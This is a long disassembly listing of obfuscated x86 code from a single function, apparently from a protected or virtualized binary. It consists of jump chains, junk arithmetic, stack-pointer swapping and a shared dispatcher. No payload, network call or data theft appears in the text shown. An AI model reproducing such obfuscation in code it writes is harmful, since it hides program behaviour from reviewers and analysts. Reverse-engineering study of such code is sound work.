loc_5B739E:				; CODE XREF: sub_5A55E5+DFE3j
		sub	esi, ecx
		mov	ecx, [esp+34h+var_36+2]
		add	esp, 4
		pop	edx
		push	esi
		not	[esp+30h+var_32+2]
		pop	esi
		push	ebp
		mov	ebp, 2C425821h
		or	esi, ebp
		jmp	loc_5B5CCD
; ---------------------------------------------------------------------------


loc_5B73BC:				; CODE XREF: sub_5A55E5+BC35j
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5BD648
; ---------------------------------------------------------------------------


loc_5B73CA:				; CODE XREF: sub_5A55E5+571Bj
		sub	ecx, 79ED6A72h
		push	ecx
		push	eax
		jmp	loc_5AF8D6
; ---------------------------------------------------------------------------


loc_5B73D7:				; CODE XREF: sub_5A55E5+19D80j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5AEA08
; ---------------------------------------------------------------------------


loc_5B73E7:				; CODE XREF: sub_5A55E5+A3AEj
		shr	ebx, 1
		push	esi
		mov	esi, 7FD05C9Dh
		inc	esi
		dec	esi
		neg	esi
		sub	esi, 0CBD9A18h
		sub	ebx, esi
		pop	esi
		add	ebx, 0C0807D30h
		add	edx, ebx
		jmp	loc_5BBF52
; ---------------------------------------------------------------------------


loc_5B7409:				; CODE XREF: sub_5A55E5+605Bj
		mov	al, 84h
		xor	al, 7Bh
		jmp	loc_5B2C33
; ---------------------------------------------------------------------------


loc_5B7412:				; CODE XREF: sub_5A55E5+1354Dj
		push	1961h
		mov	[esp+3Ch+var_3E+2], ecx
		mov	ecx, 23205E5Bh
		push	edx
		mov	edx, 42C8032Dh
		and	edx, 178632FDh
		neg	edx
		sub	edx, 0A8C5E50Eh
		jmp	loc_5B6DFF
; ---------------------------------------------------------------------------


loc_5B7438:				; CODE XREF: sub_5A55E5+15D63j
		pop	ebx
		sub	[esp+3Ch+var_36+2], ebx
		sub	[esp+3Ch+var_36+2], 18F91E99h
		pop	ebx
		mov	ebx, [esp+38h+var_3A+2]
		add	esp, 4
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7454:				; CODE XREF: sub_5A55E5+BC13j
		xor	ebx, edi
		xor	edi, ebx
		inc	ebx
		xor	edi, ebx
		jmp	loc_5AD0A1
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Ch+var_1C]
		push	596Ah
		mov	[esp+20h+var_22+2], ebp
		push	esp
		pop	ebp
		jmp	loc_5BCB98
; ---------------------------------------------------------------------------


loc_5B7473:				; CODE XREF: sub_5A55E5+FC59j
		add	cl, 0D4h
		mov	ah, cl
		push	[esp+24h+var_26+2]
		pop	ecx
		jmp	loc_5BEDED
; ---------------------------------------------------------------------------


loc_5B7481:				; CODE XREF: sub_5A55E5+E27Fj
		add	[esp+1Ah+var_18+2], ecx
		pop	ecx
		jmp	loc_5AFC38
; ---------------------------------------------------------------------------


loc_5B748B:				; CODE XREF: sub_5A55E5+8476j
		push	ebp
		push	72A3h
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 0F0B1D45h
		mov	ebp, 18055C11h
		jmp	loc_5BCA9C
; ---------------------------------------------------------------------------


loc_5B74A3:				; CODE XREF: sub_5A55E5+50B5j
		neg	esi
		add	esi, 0FFFFFFFFh
		dec	esi
		dec	esi
		add	esi, 0D3AA9FB3h
		mov	ecx, esi
		mov	esi, [esp+5Ah+var_5C+2]
		push	edi
		mov	edi, esp
		jmp	loc_5B3933
; ---------------------------------------------------------------------------


loc_5B74BD:				; DATA XREF: sub_5A55E5+4353o
		push	[esp+14h+var_14]
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5BB0A0
; ---------------------------------------------------------------------------


loc_5B74CB:				; CODE XREF: sub_5A55E5+12FA8j
		add	esp, 4
		push	[esp+10h+var_10]
		push	[esp+14h+var_14]
		pop	edx
		push	ecx
		jmp	loc_5BB3D7
; ---------------------------------------------------------------------------


loc_5B74DB:				; CODE XREF: sub_5A55E5+17FBFj
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		add	edi, 5C220374h
		jmp	loc_5B0A9A
; ---------------------------------------------------------------------------


loc_5B74EC:				; CODE XREF: sub_5A55E5+873Aj
		push	ecx
		mov	ch, al
		jmp	loc_5B1582
; ---------------------------------------------------------------------------


loc_5B74F4:				; CODE XREF: sub_5A55E5+16C9Aj
		mov	[esp+32h+var_32], eax
		push	ecx
		mov	cl, 0Fh
		mov	al, 57h
		jmp	loc_5B3B6B
; ---------------------------------------------------------------------------


loc_5B7501:				; CODE XREF: sub_5A55E5+D2FCj
		push	ebx
		mov	ebx, 77663CA3h
		mov	edx, 71327AF7h
		xor	edx, ebx
		pop	ebx
		xor	edx, 54DE4C5Fh
		push	ebx
		mov	ebx, 0AD75F5F9h
		add	edx, ebx
		pop	ebx
		sub	eax, edx
		pop	edx
		xchg	eax, [esp+18h+var_18]
		pop	esp
		jmp	loc_5B8582
; ---------------------------------------------------------------------------


loc_5B752A:				; CODE XREF: sub_5A55E5+5E54j
		sub	ebx, 0B30683DCh
		push	7EE4h
		mov	[esp+28h+var_2A+2], ebp
		jmp	loc_5B67B4
; ---------------------------------------------------------------------------


loc_5B753D:				; CODE XREF: sub_5A55E5+A2ECj
		mov	dl, ah
		pop	eax
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebx
		mov	bh, 0F8h
		shl	bh, 4
		inc	bh
		shl	bh, 5
		jmp	loc_5AD1E6
; ---------------------------------------------------------------------------


loc_5B7558:				; CODE XREF: sub_5A55E5+18708j
		mov	ch, bh
		pop	ebx
		push	ax
		mov	ah, 18h
		or	ch, ah
		pop	ax
		jmp	loc_5B217B
; ---------------------------------------------------------------------------


loc_5B7568:				; CODE XREF: sub_5A55E5+EC99j
		mov	edx, 0E33896h
		and	edx, 5C3D0180h
		inc	edx
		jmp	loc_5B1FF8
; ---------------------------------------------------------------------------


loc_5B7579:				; CODE XREF: sub_5A55E5+A0A5j
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_5AA8FE
; ---------------------------------------------------------------------------


loc_5B7583:				; CODE XREF: sub_5A55E5+10FC3j
		mov	[esp+62h+var_64+2], edi
		mov	edi, edx
		mov	ecx, edi
		pop	edi
		pop	edx
		add	ecx, 3433190Bh
		sub	ecx, eax
		sub	ecx, 3433190Bh
		mov	eax, [esp+5Ah+var_5C+2]
		jmp	loc_5B3323
; ---------------------------------------------------------------------------


loc_5B75A2:				; CODE XREF: sub_5A55E5+E9CAj
		add	ecx, 466DCFDAh
		jmp	loc_5B35F3
; ---------------------------------------------------------------------------


loc_5B75AD:				; CODE XREF: sub_5A55E5+6189j
		add	ebp, esi
		push	4AD2h
		mov	[esp+10h+var_10], eax
		mov	eax, 3D63334Fh
		or	eax, 157B3176h
		shl	eax, 1
		shr	eax, 6
		jmp	loc_5BBCCF
; ---------------------------------------------------------------------------


loc_5B75CB:				; CODE XREF: sub_5A55E5+BD1Fj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+34h+var_36+2]
		pop	esp
		jmp	loc_5B6D79
; ---------------------------------------------------------------------------


loc_5B75E0:				; CODE XREF: sub_5A55E5+14858j
		push	[esp+30h+var_32+2]
		mov	eax, [esp+34h+var_36+2]
		jmp	loc_5BAB51
; ---------------------------------------------------------------------------


loc_5B75EB:				; CODE XREF: sub_5A55E5+13C55j
		add	al, ch
		sub	al, 0B4h
		pop	ecx
		mov	dx, word ptr [esp+30h+var_32+2]
		add	esp, 2
		push	17D7h
		mov	[esp+30h+var_32+2], eax
		mov	ah, 2Fh
		not	ah
		sub	ah, 0B8h
		shl	ah, 1
		and	ah, 0C0h
		jmp	loc_5B1AA2
; ---------------------------------------------------------------------------


loc_5B7610:				; CODE XREF: sub_5A55E5+68CAj
		add	bl, 0AEh
		push	1CCh
		jmp	loc_5BA8C8
; ---------------------------------------------------------------------------


loc_5B761D:				; CODE XREF: sub_5A55E5+66F9j
		shl	ebx, 8
		not	ebx
		push	edi
		mov	edi, 31A87939h
		or	edi, 2EA623A6h
		add	edi, 33CEEAF0h
		sub	ebx, edi
		pop	edi
		push	4132h
		mov	[esp+20h+var_22+2], ebx
		dec	[esp+20h+var_22+2]
		pop	ebx
		push	esi
		mov	esi, 7A636599h
		jmp	loc_5AF3CE
; ---------------------------------------------------------------------------


loc_5B764E:				; CODE XREF: sub_5A55E5+10266j
		pop	ecx
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5AEC54
; ---------------------------------------------------------------------------


loc_5B765A:				; CODE XREF: sub_5A55E5+123DCj
		push	ebx
		mov	ebx, 4F994D90h
		dec	ebx
		not	ebx
		jmp	loc_5B82A2
; ---------------------------------------------------------------------------


loc_5B7668:				; CODE XREF: sub_5A55E5+C595j
		pop	ebp
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B766E:				; CODE XREF: sub_5A55E5+4911j
		add	al, 7Fh
		sub	bl, 5Fh
		add	bl, al
		push	edx
		mov	dl, 5Fh
		add	bl, dl
		jmp	loc_5AE58B
; ---------------------------------------------------------------------------


loc_5B767F:				; CODE XREF: sub_5A55E5+DD0Bj
		sub	esp, 4
		mov	[esp+4Ah+var_4A], ecx
		jmp	loc_5B06A5
; ---------------------------------------------------------------------------


loc_5B768A:				; CODE XREF: sub_5A55E5+F3D0j
		mov	bh, 0A3h
		neg	bh
		xor	bh, 53h
		jmp	loc_5BBE52
; ---------------------------------------------------------------------------


loc_5B7696:				; CODE XREF: sub_5A55E5+89F6j
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5B26CB
; ---------------------------------------------------------------------------


loc_5B76A7:				; CODE XREF: sub_5A55E5+BFB0j
		and	ecx, 64980EC8h
		jmp	loc_5AA56A
; ---------------------------------------------------------------------------


loc_5B76B2:				; CODE XREF: sub_5A55E5+112A6j
		mov	[esp+2Eh+var_2E], edi
		mov	edi, 56C676D4h
		not	edi
		push	ecx
		jmp	loc_5B1266
; ---------------------------------------------------------------------------


loc_5B76C2:				; CODE XREF: sub_5A55E5+D3B7j
		mov	esp, [esp+30h+var_32+2]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B76CA:				; CODE XREF: sub_5A55E5+9231j
		mov	esp, [esp+32h+var_32]
		pop	esi
		push	ebp
		push	[esp+32h+var_2E]
		pop	ebp
		pop	[esp+32h+var_32]
		jmp	loc_5A9CAA
; ---------------------------------------------------------------------------


loc_5B76DC:				; CODE XREF: sub_5A55E5+140C3j
		sub	[esp+2Eh+var_2E], 5B144379h
		jmp	loc_5B3554
; ---------------------------------------------------------------------------


loc_5B76E8:				; CODE XREF: sub_5A55E5+6395j
		push	ebx
		jmp	loc_5BCD07
; ---------------------------------------------------------------------------


loc_5B76EE:				; CODE XREF: sub_5A55E5+148D0j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5B0F30
; ---------------------------------------------------------------------------


loc_5B7700:				; CODE XREF: sub_5A55E5+E68Ej
		mov	[esp+28h+var_2A+2], edx
		jmp	loc_5B503D
; ---------------------------------------------------------------------------


loc_5B7708:				; CODE XREF: sub_5A55E5+17894j
		pop	esp
		mov	[esp+24h+var_26+2], ebx
		mov	bh, 0F9h
		mov	dl, bh
		jmp	loc_5B7EB1
; ---------------------------------------------------------------------------


loc_5B7715:				; CODE XREF: sub_5A55E5+114F1j
		pop	edx
		add	edx, 4
		push	1C0Ch
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_5B40B0
; ---------------------------------------------------------------------------


loc_5B7729:				; CODE XREF: sub_5A55E5+1296Aj
		add	ebp, 4
		jmp	loc_5BEDE5
; ---------------------------------------------------------------------------


loc_5B7734:				; CODE XREF: sub_5A55E5+130DCj
		push	edi
		mov	edi, 15AE134Dh
		shl	edi, 8
		jmp	loc_5B408F
; ---------------------------------------------------------------------------


loc_5B7742:				; CODE XREF: sub_5A55E5+C64Cj
		push	eax
		not	[esp+2Ch+var_2E+2]
		pop	eax
		xchg	eax, edx
		sub	edx, 2FFB7E79h
		jmp	loc_5BBD90
; ---------------------------------------------------------------------------


loc_5B7753:				; CODE XREF: sub_5A55E5+174B2j
		push	eax
		mov	eax, 712255D3h
		mov	edi, eax
		pop	eax
		and	edi, 32062DA1h
		inc	edi
		push	eax
		mov	eax, 69914A9Ch
		or	edi, eax
		pop	eax
		push	ecx
		jmp	loc_5BB84B
; ---------------------------------------------------------------------------


loc_5B7772:				; CODE XREF: sub_5A55E5+65D4j
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		xor	esi, [esp+40h+var_42+2]
		jmp	loc_5ACB54
; ---------------------------------------------------------------------------


loc_5B7791:				; CODE XREF: sub_5A55E5+C10Fj
		add	esp, 4
		mov	esi, 0CFF8DA76h
		add	esi, ebx
		jmp	loc_5AFEBD
; ---------------------------------------------------------------------------


loc_5B77A0:				; CODE XREF: sub_5A55E5+BDBEj
		inc	esi
		inc	esi
		jmp	loc_5B0152
; ---------------------------------------------------------------------------


loc_5B77A7:				; CODE XREF: sub_5A55E5+13441j
		pop	ebp
		pop	[esp+52h+var_54+2]
		mov	esp, [esp+4Eh+var_50+2]
		jmp	loc_5BBFD0
; ---------------------------------------------------------------------------


loc_5B77B3:				; CODE XREF: sub_5A55E5+11437j
		mov	[esp+48h+var_4A+2], eax
		jmp	loc_5AA5B8
; ---------------------------------------------------------------------------


loc_5B77BB:				; CODE XREF: sub_5A55E5+5AB4j
		mov	edx, 19284307h
		push	ecx
		mov	ecx, 0FC22B70Ch
		jmp	loc_5ACCE1
; ---------------------------------------------------------------------------


loc_5B77CB:				; CODE XREF: sub_5A55E5+17D41j
		push	edx
		mov	edx, 0F5011C7h
		mov	edi, 0F5011C6h
		jmp	loc_5AD5AD
; ---------------------------------------------------------------------------


loc_5B77DB:				; CODE XREF: sub_5A55E5+82DFj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B77E0:				; CODE XREF: sub_5A55E5+9603j
		add	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+60h+var_60]
		mov	esp, [esp+60h+var_60]
		pop	[esp+60h+var_60]
		pop	esp
		ror	word ptr [esp+58h+var_58], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B77FA:				; CODE XREF: sub_5A55E5+197B8j
		pop	ebx
		jmp	loc_5B9736
; ---------------------------------------------------------------------------


loc_5B7800:				; CODE XREF: sub_5A55E5+C4C0j
		push	ebx
		mov	bl, 31h
		add	ah, bl
		mov	ebx, [esp+32h+var_32]
		add	esp, 4
		sub	bl, ah
		mov	eax, [esp+2Eh+var_2E]
		add	esp, 4
		sub	esp, 2
		mov	word ptr [esp+2Eh+var_2E], cx
		mov	cl, 0E6h
		add	bl, cl
		pop	cx
		jmp	loc_5B282E
; ---------------------------------------------------------------------------


loc_5B782B:				; CODE XREF: sub_5A55E5+6B28j
		mov	[esp+7Ah+var_7C+2], ebx
		jmp	loc_5BDD2A
; ---------------------------------------------------------------------------


loc_5B7833:				; CODE XREF: sub_5A55E5+18CA6j
		mov	edx, 276E2763h
		not	edx
		sub	edx, 7E989D98h
		or	edx, 9AB23FAh
		add	edx, 0A604C406h
		jmp	loc_5ACB25
; ---------------------------------------------------------------------------


loc_5B7851:				; CODE XREF: sub_5A55E5+19C06j
		mov	[esp+7Ah+var_7C+2], edx
		jmp	loc_5B5F9B
; ---------------------------------------------------------------------------


loc_5B7859:				; CODE XREF: sub_5A55E5+699Aj
		push	5547h
		mov	[esp+52h+var_54+2], eax
		jmp	loc_5BB8FC
; ---------------------------------------------------------------------------


loc_5B7866:				; CODE XREF: sub_5A55E5+158F1j
		pop	ebp
		add	edi, eax
		add	edi, 392F53EAh
		mov	eax, [esp+4Eh+var_50+2]
		add	esp, 4
		xchg	edi, [esp+4Ah+var_4A]
		pop	esp
		shr	[esp+46h+var_46], cl
		pushf
		jmp	loc_5B6CDE
; ---------------------------------------------------------------------------


loc_5B7882:				; CODE XREF: sub_5A55E5+FB0Aj
		pop	ecx
		jmp	loc_5AAFBA
; ---------------------------------------------------------------------------


loc_5B7888:				; CODE XREF: sub_5A55E5+14099j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B788D:				; CODE XREF: sub_5A55E5+781Bj
		xor	ebx, 2A8E3E49h
		push	eax
		mov	eax, 218661D1h
		add	eax, 11124A4Dh
		dec	eax
		push	ebp
		jmp	loc_5B8CA4
; ---------------------------------------------------------------------------


loc_5B78A5:				; CODE XREF: sub_5A55E5+DE19j
		mov	edi, edx
		pop	edx
		and	edx, edi
		push	[esp+28h+var_2A+2]
		pop	edi
		add	esp, 4
		not	edx
		push	eax
		mov	eax, 80200C2h
		add	edx, eax
		pop	eax
		jmp	loc_5AD47F
; ---------------------------------------------------------------------------


loc_5B78C4:				; CODE XREF: sub_5A55E5+7451j
		sub	ebx, 506C4A28h
		sub	ebx, eax
		push	edi
		push	eax
		jmp	loc_5BCDAF
; ---------------------------------------------------------------------------


loc_5B78D3:				; CODE XREF: sub_5A55E5+5813j
		mov	esi, 6C7825EDh
		or	edi, esi
		jmp	loc_5AFCEF
; ---------------------------------------------------------------------------


loc_5B78DF:				; CODE XREF: sub_5A55E5+A513j
		sub	esp, 4
		jmp	loc_5AB2EE
; ---------------------------------------------------------------------------


loc_5B78E7:				; CODE XREF: sub_5A55E5+EA6Bj
		add	edi, 0F6A70414h
		mov	ebp, edi
		pop	edi
		xor	eax, ebp
		jmp	loc_5B098C
; ---------------------------------------------------------------------------


loc_5B78F7:				; CODE XREF: sub_5A55E5+10BEAj
		push	edx
		jmp	loc_5B3B24
; ---------------------------------------------------------------------------


loc_5B78FD:				; CODE XREF: sub_5A55E5+19F03j
		xor	edx, 0F4237608h
		xor	edi, edx
		pop	edx
		add	edx, edi
		pop	edi
		xchg	edx, [esp+4Eh+var_50+2]
		pop	esp
		jmp	loc_5AC322
; ---------------------------------------------------------------------------


loc_5B7912:				; CODE XREF: sub_5A55E5+E323j
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	201Dh
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 2
		sub	edi, 0BAF4A63h
		push	ebp
		mov	ebp, 57A56C6Ch
		jmp	loc_5ABEFB
; ---------------------------------------------------------------------------


loc_5B793B:				; CODE XREF: sub_5A55E5+9B38j
		push	6DDCh
		mov	[esp+2Eh+var_2E], esp
		add	[esp+2Eh+var_2E], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ah+var_2A]
		pop	esp
		pop	[esp+26h+var_26]
		mov	esp, [esp+22h+var_22]
		jmp	loc_5BB052
; ---------------------------------------------------------------------------


loc_5B7966:				; CODE XREF: sub_5A55E5+AD67j
		shr	ecx, 0Bh
		push	36FAh
		mov	[esp+52h+var_54+2], ebx
		jmp	loc_5B8D92
; ---------------------------------------------------------------------------


loc_5B7976:				; CODE XREF: sub_5A55E5+88B2j
		sub	eax, 4E2523Ch
		mov	ebx, [esp+60h+var_60]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AA480
; ---------------------------------------------------------------------------


loc_5B798F:				; CODE XREF: sub_5A55E5+70D6j
		add	edx, 4
		jmp	loc_5BC222
; ---------------------------------------------------------------------------


loc_5B799A:				; CODE XREF: sub_5A55E5+A5BFj
		add	ebx, 4
		push	43BBh
		mov	[esp+2Ah+var_2A], ebp
		jmp	loc_5B9103
; ---------------------------------------------------------------------------


loc_5B79AD:				; CODE XREF: sub_5A55E5+139B2j
		and	eax, 16157102h
		xor	eax, 6F19C18Dh
		add	edi, eax
		jmp	loc_5B8FB1
; ---------------------------------------------------------------------------


loc_5B79BE:				; CODE XREF: sub_5A55E5+12EEEj
		mov	ecx, esp
		push	edx
		jmp	loc_5B765A
; ---------------------------------------------------------------------------


loc_5B79C6:				; CODE XREF: sub_5A55E5+A190j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AE813
; ---------------------------------------------------------------------------


loc_5B79D6:				; DATA XREF: sub_5A55E5+416Bo
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		mov	ecx, [esp+1Ch+var_1C]
		jmp	loc_5AB5F1
; ---------------------------------------------------------------------------


loc_5B79E4:				; CODE XREF: sub_5A55E5+C2BFj
		push	eax
		mov	eax, esp
		jmp	loc_5BC5D5
; ---------------------------------------------------------------------------


loc_5B79EC:				; CODE XREF: sub_5A55E5+168A7j
		xchg	ebp, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], esi
		push	esp
		pop	esi
		jmp	loc_5BA7DB
; ---------------------------------------------------------------------------


loc_5B79FA:				; CODE XREF: sub_5A55E5+18E70j
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_5BEE73
; ---------------------------------------------------------------------------


loc_5B7A06:				; CODE XREF: sub_5A55E5+196B9j
		sub	ecx, esi
		jmp	loc_5AFC1A
; ---------------------------------------------------------------------------


loc_5B7A0D:				; CODE XREF: sub_5A55E5+156F6j
		xor	eax, ebp
		pop	ebp
		sub	ebp, eax
		jmp	loc_5B1395
; ---------------------------------------------------------------------------


loc_5B7A17:				; CODE XREF: sub_5A55E5+879Dj
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5B7DD5
; ---------------------------------------------------------------------------


loc_5B7A22:				; CODE XREF: sub_5A55E5+159ECj
		mov	ecx, 68064F14h
		jmp	loc_5AC112
; ---------------------------------------------------------------------------


loc_5B7A2C:				; CODE XREF: sub_5A55E5+14F35j
		add	esi, ebp
		jmp	loc_5B5C65
; ---------------------------------------------------------------------------


loc_5B7A33:				; CODE XREF: sub_5A55E5+1046Bj
		not	edi
		not	edi
		not	edi
		add	edi, 172F42E5h
		shl	edi, 7
		add	edi, 84E2B1AAh
		xor	ecx, edi
		pop	edi
		push	eax
		mov	eax, 26A85177h
		jmp	loc_5B2AD7
; ---------------------------------------------------------------------------


loc_5B7A56:				; CODE XREF: sub_5A55E5+764Ej
		or	ebp, 302463F6h
		xor	ebp, 2E672E3Fh
		not	ebp
		jmp	loc_5B4A5D
; ---------------------------------------------------------------------------


loc_5B7A69:				; CODE XREF: sub_5A55E5+15810j
		sub	ebx, 2
		xchg	ebx, [esp+0]
		pop	esp
		mov	word ptr [esp+1Ah+var_1C+2], bx
		push	edx
		push	ecx
		push	eax
		mov	al, 92h
		mov	cl, al
		pop	eax
		jmp	loc_5B9507
; ---------------------------------------------------------------------------


loc_5B7A84:				; CODE XREF: sub_5A55E5+7DA4j
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, 76BB5662h
		add	ecx, ebx
		add	ecx, 76BB5662h
		mov	ebx, [esp+28h+var_2A+2]
		add	esp, 4
		xchg	ecx, [esp+24h+var_26+2]
		pop	esp
		jmp	loc_5AA830
; ---------------------------------------------------------------------------


loc_5B7AB0:				; CODE XREF: sub_5A55E5+15EBDj
		pop	[esp+20h+var_22+2]
		push	ebp
		jmp	loc_5B8ACF
; ---------------------------------------------------------------------------


loc_5B7AB9:				; CODE XREF: sub_5A55E5+17448j
		mov	[esp+20h+var_22+2], esi
		jmp	loc_5A9F42
; ---------------------------------------------------------------------------


loc_5B7AC1:				; CODE XREF: sub_5A55E5+BB84j
		add	esp, 4
		pop	edx
		jmp	loc_5B729B
; ---------------------------------------------------------------------------


loc_5B7ACA:				; CODE XREF: sub_5A55E5+14D8Aj
		mov	ecx, 27EC157Eh
		and	ecx, 71C87320h
		and	ecx, 7CA550A1h
		xor	ecx, 20801022h
		jmp	loc_5B178F
; ---------------------------------------------------------------------------


loc_5B7AE6:				; CODE XREF: sub_5A55E5+773Dj
		mov	edi, 502A74E8h
		xor	edi, 2B187709h
		xor	edi, 13F33A22h
		shl	edi, 6
		add	edi, 0CFB18F44h
		add	ebx, edi
		pop	edi
		push	eax
		mov	eax, 2F4854C3h
		dec	eax
		jmp	loc_5B89A0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+26h+var_26], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7B1F:				; CODE XREF: sub_5A55E5+12E93j
		mov	[esp+2Ah+var_2A], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5AC892
; ---------------------------------------------------------------------------


loc_5B7B32:				; CODE XREF: sub_5A55E5+12649j
		mov	[esp+2Ah+var_2A], ecx
		mov	ch, 64h
		sub	dh, ch
		pop	ecx
		sub	dh, 0D9h
		sub	dh, 0FFh
		add	dh, 0E0h
		jmp	loc_5B9ED2
; ---------------------------------------------------------------------------


loc_5B7B48:				; CODE XREF: sub_5A55E5+B12Ej
		add	ebx, edi
		jmp	loc_5BAB85
; ---------------------------------------------------------------------------


loc_5B7B4F:				; CODE XREF: sub_5A55E5+7037j
		pop	ebx
		jmp	loc_5B1B9B
; ---------------------------------------------------------------------------


loc_5B7B55:				; CODE XREF: sub_5A55E5+ED3Dj
		push	edx
		not	[esp+30h+var_32+2]
		pop	edx
		inc	edx
		add	edx, 0FFFFFFFFh
		jmp	loc_5BF4D3
; ---------------------------------------------------------------------------


loc_5B7B63:				; CODE XREF: sub_5A55E5+EA59j
		neg	ebp
		xor	ebp, 0A67EDA24h
		sub	edx, ebp
		pop	ebp
		pop	ebx
		push	[esp+66h+var_68+2]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		push	62D8h
		mov	[esp+6Eh+var_70+2], esi
		mov	esi, 3B874325h
		jmp	loc_5B4543
; ---------------------------------------------------------------------------


loc_5B7B88:				; CODE XREF: sub_5A55E5+1380Ej
		or	cl, 0A7h
		jmp	loc_5B25EA
; ---------------------------------------------------------------------------


loc_5B7B90:				; CODE XREF: sub_5A55E5+15CE6j
		pop	ecx
		add	esp, 4
		pop	[esp+66h+var_68+2]
		mov	esp, [esp+62h+var_64+2]
		shl	[esp+62h+var_64+2], cl
		jmp	loc_5BBE9B
; ---------------------------------------------------------------------------


loc_5B7BA5:				; CODE XREF: sub_5A55E5+15E20j
		sub	bl, 7Eh
		jmp	loc_5BED2F
; ---------------------------------------------------------------------------


loc_5B7BAD:				; CODE XREF: sub_5A55E5+CC80j
		xor	edi, eax
		jmp	loc_5B8D83
; ---------------------------------------------------------------------------


loc_5B7BB4:				; CODE XREF: sub_5A55E5+6CEAj
		sub	ebx, edi
		jmp	loc_5B4A7F
; ---------------------------------------------------------------------------


loc_5B7BBB:				; CODE XREF: sub_5A55E5+167FFj
		mov	[esp+0Ch+var_C], esi
		jmp	loc_5AA159
; ---------------------------------------------------------------------------


loc_5B7BC3:				; CODE XREF: sub_5A55E5+55F0j
		xchg	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5B7C85
; ---------------------------------------------------------------------------


loc_5B7BCC:				; CODE XREF: sub_5A55E5+D3F8j
		xor	esi, eax
		pop	eax
		xor	ebp, esi
		pop	esi
		add	ebp, 57988A34h
		sub	ebx, ebp
		pop	ebp
		sub	edx, 312C23B4h
		add	edx, 7BF20CA2h
		jmp	loc_5B4D04
; ---------------------------------------------------------------------------


loc_5B7BEC:				; CODE XREF: sub_5A55E5+1913Fj
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5B954E
; ---------------------------------------------------------------------------


loc_5B7BFE:				; DATA XREF: sub_5A55E5+420Bo
		mov	cx, word ptr [esp+10h+var_10]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+18h+var_18], eax
		jmp	loc_5B6F54
; ---------------------------------------------------------------------------


loc_5B7C13:				; CODE XREF: sub_5A55E5+A9B3j
		add	bx, 784Fh
		jmp	loc_5BE190
; ---------------------------------------------------------------------------


loc_5B7C1D:				; CODE XREF: sub_5A55E5+149EDj
		shl	ah, 7
		sub	ah, 28h
		mov	dh, ah
		pop	eax
		shl	dh, 3
		push	10D3h
		jmp	loc_5B7B32
; ---------------------------------------------------------------------------


loc_5B7C33:				; CODE XREF: sub_5A55E5+B1D6j
		dec	al
		xor	al, 19h
		sub	bl, 95h
		sub	bl, al
		push	7289h
		mov	[esp+20h+var_22+2], eax
		jmp	loc_5A9EEE
; ---------------------------------------------------------------------------


loc_5B7C49:				; CODE XREF: sub_5A55E5+E72Bj
		push	esi
		jmp	loc_5BE7AE
; ---------------------------------------------------------------------------


loc_5B7C4F:				; CODE XREF: sub_5A55E5+DA13j
		sub	ebx, 4
		jmp	loc_5B473B
; ---------------------------------------------------------------------------


loc_5B7C5A:				; CODE XREF: sub_5A55E5+98C6j
		push	6866067Ch
		jmp	loc_5B1322
; ---------------------------------------------------------------------------


loc_5B7C64:				; CODE XREF: sub_5A55E5+6895j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7C70:				; CODE XREF: sub_5A55E5+A591j
		pop	ebp
		sub	edi, eax
		mov	eax, [esp+26h+var_26]
		add	esp, 4
		xchg	edi, [esp+22h+var_22]
		pop	esp
		mov	[esp+0], ecx
		jmp	loc_5B874D
; ---------------------------------------------------------------------------


loc_5B7C85:				; CODE XREF: sub_5A55E5+125E2j
		mov	[esp+16h+var_18+2], edi
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esp
		push	ebp
		mov	ebp, 4
		add	[esp+1Eh+var_1C+2], ebp
		pop	ebp
		push	[esp+1Ah+var_1C+2]
		pop	edi
		push	ecx
		jmp	loc_5BBC4B
; ---------------------------------------------------------------------------


